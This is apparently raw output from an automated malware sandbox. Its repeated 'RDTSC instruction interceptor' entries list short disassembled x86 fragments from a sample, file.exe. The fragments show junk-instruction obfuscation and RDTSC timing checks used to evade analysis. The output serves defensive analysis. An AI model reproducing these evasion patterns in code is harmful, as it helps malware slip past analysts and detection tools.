Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E66D3 second address: 5E66F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jng 00007FA6C4C2AB48h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E68FD second address: 5E690E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jp 00007FA6C4D39094h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E66F6 second address: 5E66FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E66FA second address: 5E66FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7BDB second address: 5E7BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8610 second address: 5E8614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7BDF second address: 5E7BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC134 second address: 5EC13E instructions: 0x00000000 rdtsc 0x00000002 js 00007FA6C4D39086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE4CC second address: 5EE4D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC877 second address: 5EC88F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4D39094h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE66A second address: 5EE66F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE66F second address: 5EE683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4D39090h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0483 second address: 5F0496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FA6C4C2AB36h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0496 second address: 5F049A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F049A second address: 5F04A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F04A0 second address: 5F04A5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0609 second address: 5F0623 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4C2AB46h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2703 second address: 5F270F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F270F second address: 5F2714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2714 second address: 5F277E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D3908Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, ebx 0x0000000c pushad 0x0000000d add ecx, dword ptr [ebp+122D2879h] 0x00000013 and ecx, 3B939F16h 0x00000019 popad 0x0000001a push 00000000h 0x0000001c jmp 00007FA6C4D39094h 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push edi 0x00000026 call 00007FA6C4D39088h 0x0000002b pop edi 0x0000002c mov dword ptr [esp+04h], edi 0x00000030 add dword ptr [esp+04h], 00000019h 0x00000038 inc edi 0x00000039 push edi 0x0000003a ret 0x0000003b pop edi 0x0000003c ret 0x0000003d ja 00007FA6C4D3908Bh 0x00000043 xchg eax, esi 0x00000044 push ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F277E second address: 5F2782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F18A6 second address: 5F18AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F37DA second address: 5F37E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA6C4C2AB36h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F486C second address: 5F4872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4872 second address: 5F4878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F39C5 second address: 5F39D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FA6C4D39086h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4878 second address: 5F487C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F788D second address: 5F7891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7891 second address: 5F7897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7897 second address: 5F78B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4D39098h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F78B3 second address: 5F78B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F78B7 second address: 5F7923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FA6C4D39088h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov edi, dword ptr [ebp+122D2482h] 0x00000029 push 00000000h 0x0000002b pushad 0x0000002c push eax 0x0000002d mov si, di 0x00000030 pop edi 0x00000031 mov dword ptr [ebp+12466642h], ebx 0x00000037 popad 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebp 0x0000003d call 00007FA6C4D39088h 0x00000042 pop ebp 0x00000043 mov dword ptr [esp+04h], ebp 0x00000047 add dword ptr [esp+04h], 00000018h 0x0000004f inc ebp 0x00000050 push ebp 0x00000051 ret 0x00000052 pop ebp 0x00000053 ret 0x00000054 push eax 0x00000055 jng 00007FA6C4D3908Eh 0x0000005b push esi 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8800 second address: 5F8805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8805 second address: 5F882E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA6C4D39088h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d clc 0x0000000e push 00000000h 0x00000010 mov bx, D57Eh 0x00000014 push 00000000h 0x00000016 mov edi, dword ptr [ebp+122D2761h] 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jno 00007FA6C4D39088h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F69A6 second address: 5F6A5B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jc 00007FA6C4C2AB36h 0x00000011 pop ecx 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 ja 00007FA6C4C2AB3Ch 0x0000001b push ebx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ebx 0x0000001f popad 0x00000020 nop 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007FA6C4C2AB38h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 00000018h 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b xor edi, dword ptr [ebp+122D203Bh] 0x00000041 push dword ptr fs:[00000000h] 0x00000048 jc 00007FA6C4C2AB3Ch 0x0000004e add ebx, dword ptr [ebp+12458BC6h] 0x00000054 mov edi, 59213997h 0x00000059 mov dword ptr fs:[00000000h], esp 0x00000060 mov eax, dword ptr [ebp+122D0135h] 0x00000066 sub dword ptr [ebp+122D31C7h], esi 0x0000006c push FFFFFFFFh 0x0000006e mov dword ptr [ebp+122D2040h], edi 0x00000074 nop 0x00000075 pushad 0x00000076 jmp 00007FA6C4C2AB43h 0x0000007b jmp 00007FA6C4C2AB49h 0x00000080 popad 0x00000081 push eax 0x00000082 push eax 0x00000083 push edx 0x00000084 pushad 0x00000085 push eax 0x00000086 push edx 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6A5B second address: 5F6A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7B02 second address: 5F7B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6A61 second address: 5F6A66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F97CF second address: 5F9821 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA6C4C2AB44h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, ecx 0x0000000f push 00000000h 0x00000011 and bh, FFFFFF81h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FA6C4C2AB38h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 pushad 0x00000031 stc 0x00000032 popad 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push eax 0x00000038 pop eax 0x00000039 pop eax 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7B0D second address: 5F7B74 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov di, 3ABFh 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov edi, dword ptr [ebp+122D29C5h] 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 add edi, dword ptr [ebp+122D181Eh] 0x00000026 mov eax, dword ptr [ebp+122D0B0Dh] 0x0000002c jmp 00007FA6C4D39094h 0x00000031 push FFFFFFFFh 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007FA6C4D39088h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d cmc 0x0000004e push eax 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA732 second address: 5FA736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F99F8 second address: 5F99FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F99FE second address: 5F9A03 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA7C4 second address: 5FA7C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9A03 second address: 5F9A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 js 00007FA6C4C2AB40h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA7C8 second address: 5FA7CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB6A2 second address: 5FB6A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB6A7 second address: 5FB6D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4D39096h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FA6C4D3908Bh 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA8E5 second address: 5FA8EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB6D4 second address: 5FB776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 nop 0x00000007 jng 00007FA6C4D3908Ch 0x0000000d mov dword ptr [ebp+122D1D40h], edx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007FA6C4D39088h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f pushad 0x00000030 mov ecx, dword ptr [ebp+122D2875h] 0x00000036 mov dword ptr [ebp+1247D194h], edi 0x0000003c popad 0x0000003d mov dword ptr [ebp+122D2752h], ecx 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push edi 0x00000048 call 00007FA6C4D39088h 0x0000004d pop edi 0x0000004e mov dword ptr [esp+04h], edi 0x00000052 add dword ptr [esp+04h], 0000001Ah 0x0000005a inc edi 0x0000005b push edi 0x0000005c ret 0x0000005d pop edi 0x0000005e ret 0x0000005f mov edi, edx 0x00000061 pushad 0x00000062 jnp 00007FA6C4D3909Ch 0x00000068 mov dl, bl 0x0000006a popad 0x0000006b xchg eax, esi 0x0000006c pushad 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007FA6C4D3908Dh 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB776 second address: 5FB77A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1EAF second address: 5A1EB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605E76 second address: 605ED4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b jmp 00007FA6C4C2AB43h 0x00000010 pop ebx 0x00000011 jmp 00007FA6C4C2AB43h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FA6C4C2AB46h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605ED4 second address: 605ED8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60601B second address: 60603B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA6C4C2AB36h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FA6C4C2AB3Ch 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60603B second address: 606046 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6061B2 second address: 6061B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6061B6 second address: 6061BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6061BC second address: 6061C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60633B second address: 606355 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA6C4D39086h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FA6C4D39086h 0x00000014 jno 00007FA6C4D39086h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 606355 second address: 60635F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60635F second address: 60636F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 jng 00007FA6C4D39086h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4D39 second address: 5E4D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C3CE second address: 60C3E5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA6C4D3908Ch 0x00000008 jg 00007FA6C4D39086h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C3E5 second address: 60C3EF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C3EF second address: 60C3F9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA6C4D3908Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C3F9 second address: 60C428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jnp 00007FA6C4C2AB40h 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jg 00007FA6C4C2AB36h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jnc 00007FA6C4C2AB36h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FCAF second address: 60FCE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA6C4D39086h 0x0000000a jmp 00007FA6C4D3908Fh 0x0000000f popad 0x00000010 jmp 00007FA6C4D39095h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FCE3 second address: 60FCF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4C2AB3Ch 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FCF6 second address: 60FD12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39092h 0x00000007 jne 00007FA6C4D3908Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610430 second address: 610434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6105D7 second address: 6105EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39094h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610764 second address: 61076A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61076A second address: 61078B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA6C4D39096h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61078B second address: 610790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6108E8 second address: 6108EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610A6E second address: 610AA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jng 00007FA6C4C2AB36h 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FA6C4C2AB49h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610AA9 second address: 610AAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610AAD second address: 610AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA6C4C2AB36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610AB9 second address: 610ABE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610BB2 second address: 610BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610BB8 second address: 610BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610BBC second address: 610BC4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6160E7 second address: 6160EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6160EB second address: 61610A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA6C4C2AB43h 0x00000011 rdtsc
